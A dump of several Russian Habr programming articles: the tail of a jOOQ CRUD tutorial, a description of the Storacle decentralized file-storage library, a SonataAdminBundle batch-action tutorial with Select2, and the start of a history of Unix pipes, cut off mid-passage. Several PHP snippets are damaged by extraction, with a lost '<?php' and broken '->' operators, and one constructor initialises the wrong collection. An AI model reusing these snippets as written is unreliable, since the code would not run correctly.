.set(dsl.newRecord(Countries.COUNTRIES, country))
.returning(Countries.COUNTRIES.ID) //в возвращаемом Record только одно значение - id
.fetchOptional()
.orElseThrow(() -> new DataAccessException("Error inserting entity: " + country.getId()))
.get(Countries.COUNTRIES.ID); //достаём id
}
```
Немного громоздко, но, опять же, с чем сравнивать.
Напишем остальные методы CRUD.
### Update
SQL-запрос:
```
update countries
set name = 'Эритрея',
government_form = 'CONFEDERATE',
population = 100500
where id = 1
returning *;
```
Запрос JOOQ:
```
public Country update(Country country) {
return dsl.update(Countries.COUNTRIES)
.set(dsl.newRecord(Countries.COUNTRIES, country))
.where(Countries.COUNTRIES.ID.eq(country.getId()))
.returning()
.fetchOptional()
.orElseThrow(() -> new DataAccessException("Error updating entity: " + country.getId()))
.into(Country.class);
}
```
### Select
Запрос в SQL был бы таким:
```
select *
from countries c
where id = ?;
```
В JOOQ запрос будет выглядеть соответственно:
```
public Country find(Long id) {
return dsl.selectFrom(Countries.COUNTRIES) //select * from countries
.where(Countries.COUNTRIES.ID.eq(id)) //where id = ?
.fetchAny() //здесь определяем, что мы хотим вернуть
.into(Country.class);
}
```
### Delete
Есть запросы, в которых нам нечего возвращать. Такие запросы возвращают количество затронутых строк. В delete нам нечего возвращать, но информация, которую мы получим, всё равно будет нам полезна.
```
public Boolean delete(Long id) {
return dsl.deleteFrom(Countries.COUNTRIES)
.where(Countries.COUNTRIES.ID.eq(id))
.execute() == 1;
}
```
Мы удаляем одну строку. Значит, SQL запрос вернёт нам что-то вроде:
```
1 row affected in 5 ms
```
Получив такой ответ, мы точно знаем, что строка удалена. Этого будет достаточно, чтобы объявить операцию успешной.
Это была не сказочка. Это была только смазочка. Использование штатного мапера для тонкого мапинга сущности в Record и обратно
-----------------------------------------------------------------------------------------------------------------------------
«Окей», — скажешь ты, читатель, «а где один-ко-многим, ёмаё? Что-то я не увидел момента, в котором Country прирастает множеством City.»
И будешь прав. Это не Hibernate, здесь придётся вручную. Всего-то надо получить список City, для которых id = country.getId(). Я уже показывал метод into(), который использует штатный маппер для того, чтобы смапить Record в сущность. Но в JOOQ есть дополнительный метод map(), который позволяет делать с Record всё, что мы захотим. Посмотрим на его функциональность и допишем добавление городов:
```
public Country find(Long id) {
return dsl.selectFrom(Countries.COUNTRIES)
.where(Countries.COUNTRIES.ID.eq(id))
.fetchAny()
.map(r -> {
Country country = r.into(Country.class);
country.setCities(cityRepository.findAll(Cities.CITIES.COUNTRY_ID.eq(country.getId())));
return country;
});
}
```
Как мы видим, теперь сначала мы мапим Record в Country, а потом делаем ещё один запрос в cities, получаем все City для данной Country и сетим их в сущность.
Но таких множеств могут быть десятки, а значит, и запросов могут быть десятки. И описывать эти запросы прямо в методе — такое. Правильное решение — написать отдельный мапер и сложить все эти запросы туда.
```
@RequiredArgsConstructor
@Component
public class CountryRecordMapper implements RecordMapper {
private final CityRepository cityRepository;
@Override
public Country map(CountriesRecord record) {
Country country = record.into(Country.class);
country.setCities(cityRepository.findAll(Cities.CITIES.COUNTRY\_ID.eq(country.getId())));
return country;
}
}
```
Запрос теперь будет выглядеть так:
```
public Country findWithCustomMapper(Long id) {
return dsl.selectFrom(Countries.COUNTRIES)
.where(Countries.COUNTRIES.ID.eq(id))
.fetchAny()
.map(r -> countryRecordMapper.map((CountriesRecord) r));
}
```
Он лаконичнее, и не содержит в себе дополнительной логики.
### Окей, мы научились мапить Record в сущность, но как быть с тонкой настройкой мапинга сущности в Record?
Пока у нас есть такая конструкция:
```
.set(dsl.newRecord(Countries.COUNTRIES, country))
```
Уже хорошо, но что делать, если нам нужно специфично замапить какое-нибудь поле? Например, у нас там LocalDateTime, а генератор для PostgreSQL по типу timestamp сгенерировал OffsetDateTime. В таком случае, поле просто не смапится и не запишется в базу. Для таких случаев нам потребуется уже другой мапер, который будет делать то же самое, но в обратную сторону.
### Да, на каждый mapper у нас найдётся unmapper
Он так и называется. Напишем его наследника.
```
@Component
@RequiredArgsConstructor
public class CountryRecordUnmapper implements RecordUnmapper {
private final DSLContext dsl;
@Override
public CountriesRecord unmap(Country country) throws MappingException {
CountriesRecord record = dsl.newRecord(Countries.COUNTRIES, country);
record.setPopulation(-1);
return record;
}
}
```
Insert с его применением будет выглядеть так:
```
public Country insertWithUnmapper(Country country) {
return dsl.insertInto(Countries.COUNTRIES)
.set(countryRecordUnmapper.unmap(country))
.returning()
.fetchOptional()
.orElseThrow(() -> new DataAccessException("Error inserting entity: " + country.getId()))
.into(Country.class);
}
```
Как мы видим, тоже вполне.
Выводы и заключения
-------------------
Лично мне больше нравится Hibernate. Наверное, для 90+% приложений его применение будет более оправдано. Но если ты, читатель, хочешь контролировать каждый запрос, тебе больше подойдёт JOOQ или другая похожая библиотека.
Как всегда, выкладываю учебный проект. Он лежит [тут.](https://github.com/promoscow/jooq-example) | https://habr.com/ru/post/488522/ | null | ru | null |
# Storacle — децентрализованное хранилище файлов
Прежде чем начну, должен оставить [ссылку на предыдущую статью](https://habr.com/ru/post/495058/), чтобы было понятно о чем именно речь.
В этой статье хотел бы разобрать слой, который отвечает за хранение файлов, и как это может быть использовано любым человеком. [Storacle — самостоятельная библиотека](https://github.com/ortexx/storacle/), никакой связи с музыкой напрямую нет. Можно организовать хранение любых файлов.
В предыдущей статье я немного "накатил бочку" на **ipfs**, но это произошло именно в контексте решаемой мной задачи. В целом, я считаю этот проект крутым. Просто мне больше нравится возможность создавать разные сети под разные задачи. Это позволяет лучше организовывать структуру и снижать нагрузку на отдельные узлы и сеть в целом. Можно даже в рамках одного какого-то проекта, при необходимости, дробить сеть на куски по каким-то критериям, снижая общую нагрузку.
Итак, storacle использует механизм [spreadable](https://github.com/ortexx/spreadable) для организации сети. Основные особенности:
* Файлы могут добавляться в хранилище через любой узел.
* Файлы сохраняются целиком, не блоками.
* У каждого файла есть свой уникальный хэш по содержимому для дальнейшей работы с ним.
* Файлы могут дублироваться для большей надежности
* Количество файлов на одном узле ограничено только файловой системой (есть исключение, о нем пониже будет)
* Количество файлов в сети ограничено возможностями spreadable по числу допустимых узлов в сети, которые во второй версии смогут позволять работать с бесконечным числом узлов (об этом в другой статье)
Простой пример, как это вообще работает из программы:
Сервер:
```
const Node = require('storacle').Node;
(async () => {
try {
const node = new Node({
port: 4000,
hostname: 'localhost'
});
await node.init();
}
catch(err) {
console.error(err.stack);
process.exit(1);
}
})();
```
Клиент:
```
const Client = require('storacle').Client;
(async () => {
try {
const client = new Client({
address: 'localhost:4000'
});
await client.init();
const hash = await client.storeFile('./my-file');
const link = await client.getFileLink(hash);
await client.removeFile(hash);
}
catch(err) {
console.error(err.stack);
process.exit(1);
}
})();
```
**Взгляд изнутри**
Под капотом ничего сверхъестественного. Информация о количестве файлов, совокупном их размере и прочие моменты хранятся в in-memory базе и обновляются при удалении и добавлении файлов, поэтому необходимости часто обращаться к файловой системе нет. Исключением является включение сборщика мусора, когда нужна циркуляция файлов при достижении каких-то размеров хранилища, а не запрет на добавление новых. В этом случае приходится обходить хранилище, и работа с большим количеством файлов(> миллиона скажем) может приводить к существенным нагрузкам. И лучше хранить поменьше файлов и запускать побольше узлов. Если "чистильщик" отключен, то такой проблемы нет.
Хранилище файлов представляет собой 256 папок и 2 уровня вложенности. Файлы хранятся в папках второго уровня. То есть при наличии 1млн. файлов в каждой такой папке будет около 62500 штук (1000000 / sqrt(256)).
Название папок формируются из хэша файла, чтобы можно было быстро получить доступ, зная хэш.
Такая структура была выбрана исходя из большого числа различных требований к хранилищу: поддержка слабых файловых систем, где в одной папке не желательно иметь много файлов, быстрый обход всех папок при необходимости, и.т.д. Некая золотая середина.
**Кэширование**
При добавлении файлов, а также при их получении, в кэш записываются ссылки на файлы.
Благодаря этому очень часто нет необходимости обходить всю сеть в поисках файла. Это ускоряет получение ссылок и уменьшает нагрузку на сеть. Также кэширование происходит через http заголовки.
**Изоморфность**
Клиент написан на javascript и изоморфен, его можно использовать прямо из браузера.
Можно загрузить файл <https://github.com/ortexx/storacle/blob/master/dist/storacle.client.js> как скрипт и получить доступ к **window.ClientStoracle** либо импортить через систему сборки и.т.п.
**Отложенные ссылки**
Интересной фичей также является "отложенная ссылка". Это ссылка на файл, которую можно получить синхронно, здесь и сейчас, а файл подтянется когда уже будет найден в хранилище. Это очень удобно, когда, например, нужно показать на сайте какие-то картинки. Просто проставляем в src отложенную ссылку и все. Кейсов можно придумать много.
**Api клиента**
* async **Client.prototype.storeFile()** — сохранение файла
* async **Client.prototype.getFileLink()** — получение прямой ссылки на файл
* async **Client.prototype.getFileLinks()** — получение списка прямых ссылок на файл со всех узлов, где он есть
* async **Client.prototype.getFileToBuffer()** — получить файл в буфер
* async **Client.prototype.getFileToPath()** — получить файл в файловую систему
* async **Client.prototype.getFileToBlob()** — получить файл в blob(для браузерной версии)
* async **Client.prototype.removeFile()** — удалить файл
* **Client.prototype.createRequestedFileLink()** — создать отложенную ссылку
**Экспорт файлов на другой сервер**
Для того, чтобы перенести файлы на другой узел можно:
* Просто скопировать всю папку хранилища вместе с настройками. (в будущем это может не работать)
* Скопировать только папку с файлами. Но, в этом случаи, нужно будет один раз запустить функцию **node.normalizeFilesInfo()**, чтобы пересчитать все данные и занести в базу.
* Использовать функцию **node.exportFiles()**, которая начнет копирование файлов.
**Основные настройки узла**
Запуская узел хранилища, можно указать все необходимые настройки.
Опишу самые основные, остальное можно найти на гитхабе.
* **storage.dataSize** — размер папки с файлами
* **storage.tempSize** — размер временной папки
* **storage.autoCleanSize** — минимальный размер хранилища, который нужно удерживать. Если указать этот параметр, то как только места начнет не хватать наиболее малоиспользуемые файлы будут удаляться.
* **file.maxSize** — максимальный размер файла
* **file.minSize** — минимальный размер файла
* **file.preferredDuplicates** — предпочтительное количество дубликатов файла в сети
* **file.mimeWhitelist** — допустимые типы файла
* **file.mimeBlacklist** — недопустимые типы файла
* **file.extWhitelist** — допустимые расширения файла
* **file.extBlacklist** — недопустимые расширения файла
* **file.linkCache** — различные настройки кэширования ссылок
Почти все параметры, связанные с размерами могут проставляться и в абсолютных и в относительных величинах.
**Работа через командную строку**
Библиотеку можно использовать через командную строку. Для этого нужно установить ее глобально: **npm i -g storacle**. После этого можно запускать нужные экшены из директории с проектом, где узел. Например, **storacle -a storeFile -f ./file.txt -c ./config.js**, чтобы добавить файл. Все экшены можно найти в <https://github.com/ortexx/storacle/blob/master/bin/actions.js>
**Зачем тебе это может быть нужно**
* Если ты хочешь создать какой-то децентрализованный проект, в котором планируется хранить и работать с файлами удобными методами. Например, проект с музыкой, описанный по ссылке в начале статьи, использует **storacle**.
* Если ты работаешь над любыми другими проектами, где нужно хранить файлы распределенно. Ты можешь легко выстроить свою закрытую сеть, гибко настраивать узлы и добавлять новые, когда это нужно.
* Если тебе просто нужно где-то хранить файлы своего сайта и тебе влом писать все самому. Возможно эта библиотека подойдет лучше других, в твоем случаи.
* Если у тебя проект, в котором ты работаешь с файлами, но хочешь все манипуляции совершать из браузера. Ты можешь избежать написания серверного кода.
Мои контакты:
* [@ortex](https://t.me/ortex)
* [mywebstreet@gmail.com](mailto:mywebstreet@gmail.com) | https://habr.com/ru/post/499954/ | null | ru | null |
# Пакетное действие SonataAdminBundle + Select2
Всем доброго времени суток!
Нынче многие бросают свой взгляд в сторону [EasyAdminBundle](https://github.com/EasyCorp/EasyAdminBundle), но я до сих пор использую и предпочитаю одну из лучших панелей администратора для Symfony.
### SonataAdminBundle
Система очень гибкая и многими недооценённая, мол Sonata ограничивает администратора в действиях (представляет малый функционал панели администратора). Если Вам нужно что-то иное, всегда можно дополнить или модернизировать уже существующие методы.
Недавно мне нужно было произвести пакетное действие для продуктов и после выполненной работы захотелось рассказать об этом Вам. Вдобавок прикреплю [Select2](https://select2.org/), ибо у меня возникали некие трудности, офф.документация ограничена в информации.
Итак, начнем сразу с чистого проекта. На момент создания хаба актуальные версии пакетов:
* [symfony/skeleton](https://github.com/symfony/skeleton) 6.1
* [sonata-project/admin-bundle](https://github.com/sonata-project/SonataAdminBundle) 4.18
* [sonata-project/doctrine-orm-admin-bundle](https://github.com/sonata-project/SonataDoctrineORMAdminBundle) 4.7
* [sonata-project/user-bundle](https://github.com/sonata-project/SonataUserBundle) 5.3.3
При установке никаких проблем особо возникать не должно, в ином случае в интернете полно информации об установке SonataAdminBundle.
Для демонстративной работы пакетного действия нам понадобится 2 сущности, со связью M2M.
Создаём сущность Product:
```
#src/Entity/Product.php
php
namespace App\Entity;
use App\Repository\ProductRepository;
use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\Common\Collections\Collection;
use Doctrine\ORM\Mapping as ORM;
#[ORM\Entity(repositoryClass: ProductRepository::class)]
class Product
{
#[ORM\Id]
#[ORM\GeneratedValue]
#[ORM\Column]
private ?int $id = null;
#[ORM\Column(length: 255, nullable: true)]
private ?string $name = null;
#[ORM\Column(nullable: true)]
private ?int $price = null;
#[ORM\ManyToMany(targetEntity: Category::class, mappedBy: 'products')]
private Collection $categories;
public function __construct()
{
$this-products = new ArrayCollection();
}
public function __toString(): string
{
return $this->name;
}
//getters and setters
}
```
Также создаём Category:
```
#src/Entity/Category.php
php
namespace App\Entity;
use App\Repository\CategoryRepository;
use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\Common\Collections\Collection;
use Doctrine\ORM\Mapping as ORM;
#[ORM\Entity(repositoryClass: CategoryRepository::class)]
class Category
{
#[ORM\Id]
#[ORM\GeneratedValue]
#[ORM\Column]
private ?int $id = null;
#[ORM\Column(length: 255, nullable: true)]
private ?string $name = null;
#[ORM\ManyToMany(targetEntity: Product::class, inversedBy: 'categories')]
private Collection $products;
public function __construct()
{
$this-products = new ArrayCollection();
}
public function __toString(): string
{
return $this->name;
}
//getters and setters
}
```
В обе сущности требуется добавить метод возврата строки `__toString`
Обновим таблицы в БД:
```
bin/console doctrine:schema:update --force
```
Теперь создадим файлы для панели администратора:
```
#src/Admin/ProductAdmin.php
php
namespace App\Admin;
use Sonata\AdminBundle\Admin\AbstractAdmin;
use Sonata\AdminBundle\Datagrid\DatagridMapper;
use Sonata\AdminBundle\Datagrid\ListMapper;
use Sonata\AdminBundle\Form\FormMapper;
use Sonata\AdminBundle\Show\ShowMapper;
class ProductAdmin extends AbstractAdmin
{
protected function configureFormFields(FormMapper $form): void
{
if ($this-getSubject()->getId()) {
$form
->add('price')
->add('categories')
;
}else {
$form
->add('name')
->add('price')
->add('categories')
;
}
}
protected function configureDatagridFilters(DatagridMapper $filter): void
{
$filter
->add('name')
->add('price')
->add('categories')
;
}
protected function configureListFields(ListMapper $list): void
{
$list
->addIdentifier('name')
->add('price')
->add('categories')
->add('_action', 'actions',[
'actions' => [
'edit' => [],
'delete' => [],
]
])
;
}
protected function configureShowFields(ShowMapper $show): void
{
$show
->with('Product')
->add('name')
->add('price')
->end()
->with('Categories')
->add('categories')
->end()
;
}
}
```
```
#src/Admin/CategoryAdmin.php
php
namespace App\Admin;
use Sonata\AdminBundle\Admin\AbstractAdmin;
use Sonata\AdminBundle\Datagrid\DatagridMapper;
use Sonata\AdminBundle\Datagrid\ListMapper;
use Sonata\AdminBundle\Form\FormMapper;
use Sonata\AdminBundle\Show\ShowMapper;
class CategoryAdmin extends AbstractAdmin
{
protected function configureFormFields(FormMapper $form): void
{
$form
-add('name')
->add('products')
;
}
protected function configureDatagridFilters(DatagridMapper $filter): void
{
$filter
->add('name')
->add('products')
;
}
protected function configureListFields(ListMapper $list): void
{
$list
->addIdentifier('name')
->add('products')
;
}
protected function configureShowFields(ShowMapper $show): void
{
$show
->with('Category')
->add('name')
->end()
->with('Products')
->add('products')
->end()
;
}
}
```
Нужно их зарегистрировать:
```
#config/services.yaml
services:
App\Admin\ProductAdmin:
arguments: [ ~, App\Entity\Product, ~ ]
tags:
- { name: sonata.admin, manager_type: orm, group: Content, label: Product }
App\Admin\CategoryAdmin:
arguments: [ ~, App\Entity\Category, ~ ]
tags:
- { name: sonata.admin, manager_type: orm, group: Content, label: Category }
```
Добавим кастомное поле, где будет отображаться скидка и цена со скидкой.
Саму скидку запишем в параметры контейнера:
```
#config/services.yaml
parameters:
discount: 15
```
Теперь передадим этот параметр в качестве аргумента:
```
#config/services.yaml
services:
App\Admin\ProductAdmin:
arguments: [ ~, App\Entity\Product, ~, '%discount%' ]
```
Принимаем параметр и создаём само поле:
```
#src/Admin/ProductAdmin.php
php
private ?int $discount;
public function __construct(
?string $code = null,
?string $class = null,
?string $baseControllerName = null,
?int $discount = null
)
{
parent::__construct($code, $class, $baseControllerName);
$this-discount = $discount;
}
protected function configureListFields(ListMapper $list): void
{
$list
->add('discountPrice', null,[
'template' => 'SonataAdmin/price.html.twig',
'discount' => $this->discount,
])
;
}
```
Чтобы не вызывало ошибку о несуществующем методе, создадим метод в сущности продукта. Не важно что он будет возвращать.
```
#src/Entity/Product.php
php
public function getDiscountPrice(): int
{
return 1;
}</code
```
Нам теперь нужно создать шаблон, который будет отображать поле
```
#templates/SonataAdmin/price.html.twig
{% extends '@SonataAdmin/CRUD/base_list_field.html.twig' %}
{% block field %}
DiscountPrice: {{ (object.price/100*(100-field_description.options.discount))|round }}
Discount: {{ field_description.options.discount }}
{% endblock %}
```
Добавим тройку тестовых записей продуктов, заодно сразу тройку категорий.
Проверяем.
Теперь появилось поле, в котором отображается цена со скидкой и сама скидка Можно создавать пакетное действие. Нужно создать метод `configureBatchActions`
```
#src/Admin/ProductAdmin.php
php
protected function configureBatchActions(array $actions): array
{
$actions['add_category'] = [
'ask_confirmation' = true, //можно убрать, если не нужно подтверждение действия
];
return $actions;
}
```
Проверим отображение
Как мы видим, наше действие уже отображается.Попробуем добавить поле выбора категории. Для этого я решил выбрать `Select2` с подгрузкой названий с помощью `Ajax`. Создадим новый шаблон. Метод пакетного удаления мне не нужен, поэтому я удалил возможность выбора и всегда будет использоваться только наш метод:
```
#templates/SonataAdmin/list.html.twig
{% extends '@SonataAdmin/CRUD/base_list.html.twig' %}
{% block batch_actions %}
{{ 'all\_elements'|trans({}, 'SonataAdminBundle') }}
({{ admin.datagrid.pager.countResults() }})
$(function (){
$('#category').select2({
ajax:{
url: '/find\_category\_ajax',
dataType: 'json',
processResults: function (data) {
return {
results: data
};
},
},
minimumInputLength: 3,
})
})
{% endblock %}
```
Установим новый шаблон для нашего списка
```
#config/services.yaml
services:
App\Admin\ProductAdmin:
calls:
- [ setTemplate, [ list, SonataAdmin/list.html.twig ] ]
```
Теперь у нас поле выбора категории, но ещё не настроен ответ `Ajax`.
Категории мы уже создали.
Нужно создать запрос `query` в `CategoryRepository`, который будет возвращать сущности с похожим набором символов в имени.
```
#src/Repository/CategoryRepository.php
php
namespace App\Repository;
use App\Entity\Category;
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
use Doctrine\Persistence\ManagerRegistry;
/**
* @extends ServiceEntityRepository<Category
*
* @method Category|null find($id, $lockMode = null, $lockVersion = null)
* @method Category|null findOneBy(array $criteria, array $orderBy = null)
* @method Category[] findAll()
* @method Category[] findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null)
*/
class CategoryRepository extends ServiceEntityRepository
{
public function __construct(ManagerRegistry $registry)
{
parent::__construct($registry, Category::class);
}
public function add(Category $entity, bool $flush = false): void
{
$this->getEntityManager()->persist($entity);
if ($flush) {
$this->getEntityManager()->flush();
}
}
public function remove(Category $entity, bool $flush = false): void
{
$this->getEntityManager()->remove($entity);
if ($flush) {
$this->getEntityManager()->flush();
}
}
public function findToName(string $value)
{
return $this->createQueryBuilder('c')
->andWhere('LOWER(c.name) LIKE :val')
->setParameter('val', '%'.$value.'%')
->setMaxResults(5)
->getQuery()
->getResult()
;
}
}
```
Создадим контроллер, который будет принимать запрос от `Ajax`.
```
#src/Controller/Admin/CategoryAjaxController.php
php
namespace App\Controller\Admin;
use App\Entity\Category;
use Doctrine\Persistence\ManagerRegistry;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
class CategoryAjaxController extends AbstractController
{
public function findCategoryAjax(ManagerRegistry $doctrine, Request $request): Response
{
$string = $request-query->get('q');
$categories = $doctrine->getRepository(Category::class)->findToName($string);
$result = array();
foreach ($categories as $category)
{
$result[] = [
'id' => $category->getId(),
'text' => $category->getName(),
];
}
return new Response(json_encode($result));
}
}
```
Настроим маршрут для контроллера
```
#config/routes.yaml
find_category_ajax:
path: /find_category_ajax
controller: App\Controller\Admin\CategoryAjaxController::findCategoryAjax
```
Теперь можно проверить работу нашего `Select2`
Осталось только настроить контроллер, который будет принимать категорию и добавлять её к выделенным продуктам.
Нам нужен `CRUD` контроллер и метод с названием нашего пакетного действия:
```
#src/Controller/Admin/ProductAdminController.php
php
namespace App\Controller\Admin;
use App\Entity\Category;
use Sonata\AdminBundle\Controller\CRUDController;
use Sonata\AdminBundle\Admin\AdminInterface;
use Sonata\AdminBundle\Datagrid\ProxyQueryInterface;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Doctrine\Persistence\ManagerRegistry;
class ProductAdminController extends CRUDController
{
private ManagerRegistry $doctrine;
public function __construct(ManagerRegistry $doctrine)
{
$this-doctrine = $doctrine;
}
public function batchActionAddCategory(
ProxyQueryInterface $query,
AdminInterface $admin,
): RedirectResponse
{
$id = json_decode($_POST['data'])->category;
$category = $this->doctrine->getRepository(Category::class)->find($id);
$entity = $this->doctrine->getManager();
$products = $query->execute();
foreach ($products as $product)
{
$product->addCategory($category);
$entity->persist($product);
}
$entity->persist($category);
$entity->flush();
$this->addFlash(
'sonata_flash_success',
'Successfully added to "'.$category->getName().'" category'
);
return new RedirectResponse(
$admin->generateUrl('list',[
'filter' => $admin->getFilterParameters()
])
);
}
}
```
Теперь передадим в наш сервис контроллер в качестве аргумента:
```
#config/services.yaml
services:
App\Admin\ProductAdmin:
arguments: [ ~, App\Entity\Product, App\Controller\Admin\ProductAdminController, '%discount%']
```
Попробуем добавить категорию к нескольким продуктам
Как мы видим, теперь всё работает и работает всё как нам нужно и к отмеченным продуктам прикрепилась выбранная категория.
Заключение
----------
Я хотел вам показать, что SonataAdminBundle не ограничивает Вас в действиях. Вы можете сделать любое действие, которое Вам требуется, нужно лишь знать как и где это править.
Буду рад любым замечаниям и комментариям, также постараюсь ответить на вопросы, если у Вас они возникнут. | https://habr.com/ru/post/687632/ | null | ru | null |
# Как реализованы конвейеры в Unix
В этой статье описана реализация конвейеров в ядре Unix. Я был несколько разочарован, что недавняя статья под названием «[Как работают конвейеры в Unix?](https://www.vegardstikbakke.com/how-do-pipes-work-sigpipe/)» оказалась *не* про внутреннее устройство. Мне стало интересно, и я зарылся в старые источники, чтобы найти ответ.
О чём речь?
-----------
Конвейеры — «вероятно, самое важное изобретение в Unix» — это определяющая характеристика лежащей в основе Unix философии объединения воедино маленьких программ, а также знакомая надпись в командной строке:
```
$ echo hello | wc -c
6
```
Эта функциональность зависит от предоставляемого ядром системного вызова `pipe`, который описан на страницах документации [pipe(7)](http://man7.org/linux/man-pages/man7/pipe.7.html) и [pipe(2)](http://man7.org/linux/man-pages/man2/pipe.2.html):
> Конвейеры обеспечивают однонаправленный канал межпроцессного взаимодействия. У конвейера есть вход (write end) и выход (read end). Данные, записанные во вход конвейера, могут быть считаны на выходе.
>
>
>
> Конвейер создаётся с помощью вызова `pipe(2)`, который возвращает два файловых дескриптора: один ссылается на вход конвейера, второй на выход.
Результаты трассировки приведённой выше команды демонстрируют создание конвейера и поток данных через него из одного процесса в другой:
```
$ strace -qf -e execve,pipe,dup2,read,write \
sh -c 'echo hello | wc -c'
execve("/bin/sh", ["sh", "-c", "echo hello | wc -c"], …)
pipe([3, 4]) = 0
[pid 2604795] dup2(4, 1) = 1
[pid 2604795] write(1, "hello\n", 6) = 6
[pid 2604796] dup2(3, 0) = 0
[pid 2604796] execve("/usr/bin/wc", ["wc", "-c"], …)
[pid 2604796] read(0, "hello\n", 16384) = 6
[pid 2604796] write(1, "6\n", 2) = 2
```
Родительский процесс вызывает `pipe()`, чтобы получить подключённые файловые дескрипторы. Один дочерний процесс записывает в один дескриптор, а другой процесс считывает те же данные из другого дескриптора. Оболочка с помощью dup2 «переименовывает» дескрипторы 3 и 4, чтобы они соответствовали stdin и stdout.
Без конвейеров оболочке пришлось бы записывать результат одного процесса в файл и передавать его другому процессу, чтобы тот прочитал данные из файла. В результате мы тратили бы больше ресурсов и место на диске. Однако конвейеры хороши не только тем, что позволяют избежать использования временных файлов:
> Если процесс пытается прочитать из пустого конвейера, тогда `read(2)` заблокирует до тех пор, пока данные не станут доступны. Если процесс попытается записать в заполненный конвейер, тогда `write(2)` заблокирует до тех пор, пока из конвейера не будет считано достаточно данных для выполнения записи.
Как и POSIX-требование, это важное свойство: запись в конвейер вплоть до `PIPE_BUF` байтов (как минимум 512) должна быть атомарной, чтобы процессы могли взаимодействовать друг с другом через конвейер так, как обычные файлы (не предоставляющие таких гарантий) не могут.
При использовании обычного файла процесс может записать в него все свои выходные данные и передать другому процессу. Или процессы могут действовать в режиме жёсткого распараллеливания, с помощью внешнего сигнального механизма (вроде семафора) сообщая друг другу о завершении записи или чтения. Конвейеры избавляют нас от всех этих хлопот.
Что мы ищем?
------------
Объясню на пальцах, чтобы вам было легче представить, как может работать конвейер. Вам понадобится выделить в памяти буфер и какое-то состояние. Понадобятся функции для добавления и удаления данных из буфера. Понадобится какое-то средство, чтобы вызывать функции в ходе операций чтения и записи в файловые дескрипторы. И понадобятся блокировки, чтобы реализовать описанное выше специальное поведение.
Теперь мы готовы допросить при ярком свете ламп исходный код ядра, чтобы подтвердить или опровергнуть нашу смутную мысленную модель. Но всегда будьте готовы к неожиданностям.
Где мы ищем?
------------
Я не знаю, где лежит мой экземпляр известной книги «[Lions book](https://en.wikipedia.org/wiki/Lions%27_Commentary_on_UNIX_6th_Edition,_with_Source_Code)« с исходным кодом Unix 6, но благодаря [The Unix Heritage Society](https://www.tuhs.org) можно в онлайне поискать в [исходном коде](https://minnie.tuhs.org/UnixTree) ещё более старых версий Unix.
Блуждание по архивам TUHS сродни посещению музея. Мы можем взглянуть на нашу общую историю, и я испытываю уважение к многолетним усилиям по восстановлению всех этих материалов бит за битом со старых кассет и распечаток. И остро осознаю те фрагменты, которые ещё отсутствуют.
Удовлетворив своё любопытство в части древней истории конвейеров, для сравнения можем посмотреть на современные ядра.
Кстати, `pipe` является системным вызовом номер 42 в таблице `sysent[]`. Совпадение?
Традиционные ядра Unix (1970–1974)
----------------------------------
Я не нашёл никаких следов `pipe(2)` ни в [PDP-7 Unix](https://minnie.tuhs.org/cgi-bin/utree.pl?file=PDP7-Unix) (январь 1970-го), ни в [первой редакции Unix](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V1) (ноябрь 1971-го), ни в неполном исходном коде [второй редакции](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V2) (июнь 1972-го).
TUHS утверждает, что [третья редакция Unix](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V3) (февраль 1973-го) стала первой версией с конвейерами:
> Третья редакция Unix была последней версией с ядром, написанным на ассемблере, но при этом первой версией с конвейерами. В течение 1973-го велись работы по улучшению третьей редакции, ядро переписали на С, и так появилась четвёртая редакция Unix.
Один из читателей нашёл скан документа, в котором Даг МакИлрой предложил идею «соединения программ по принципу садового шланга».
В книге Брайана Кернигана «[Unix: A History and a Memoir](https://www.cs.princeton.edu/~bwk/memoir.html)», в истории появления конвейеров тоже упоминается этот документ: «… он висел на стене в моём офисе в Bell Labs в течение 30 лет». Вот [интервью с МакИлроем](https://www.princeton.edu/~hos/mike/transcripts/mcilroy.htm), и ещё одна история из [работы МакИлроя, написанной в 2014-м](https://www.cs.dartmouth.edu/~doug/sieve/sieve.pdf):
> Когда появилась Unix, моё увлечение корутинами заставило меня попросить автора ОС, Кена Томпсона, позволить данным, записанным в какой-то процесс, идти не только на устройство, но и на выход к другому процессу. Кен решил, что это возможно. Однако, как минималист, он хотел, чтобы каждая системная функция играла значительную роль. Действительно ли прямая запись между процессами имеет большое преимущество по сравнению с записью в промежуточный файл? И только когда я внёс конкретное предложение с броским названием «конвейер» и описанием синтаксиса взаимодействия процессов, Кен, наконец-то, воскликнул: «Я сделаю это!».
>
>
>
> И сделал. Одним судьбоносным вечером Кен изменил ядро и оболочку, исправил несколько стандартных программ, стандартизировав их процедуру принятия входных данных (которые могут поступать из конвейера), а также поменял имена файлов. На следующий день конвейеры начали очень широко применять в приложениях. К концу недели секретарши с их помощью отправляли на принтер документы из текстовых редакторов. Чуть позднее Кен заменил оригинальный API и синтаксис для оболочки использования конвейеров на более чистые соглашения, которые с тех пор и применяются.
К сожалению, исходный код ядра третьей редакции Unix утерян. И хотя у нас есть написанный на С исходный код ядра [четвёртой редакции](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V4), вышедшей в ноябре 1973-го, однако она вышла за несколько месяцев до официального релиза и не содержит реализации конвейеров. Жаль, что исходный код легендарной функции Unix утерян, возможно, навсегда.
У нас есть текст документации по `pipe(2)` из обоих релизов, поэтому можно начать с поиска в документации [третьей редакции](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V3/man/man2/pipe.2) (по определённым словам, подчёркнутым «вручную», строка из литералов ^H, после которой идёт нижнее подчёркивание!). Этот прото-`pipe(2)` написан на ассемблере и возвращает только один файловый дескриптор, но уже предоставляет ожидаемую основную функциональность:
> Системный вызов pipe создаёт механизм ввода вывода, который называется конвейером. Возвращаемый файловый дескриптор можно использовать для операций чтения и записи. Когда в конвейер что-то записывается, то буферизуется до 504 байтов данных, после чего процесс записи приостанавливается. При чтении из конвейера буферизированные данные забираются.
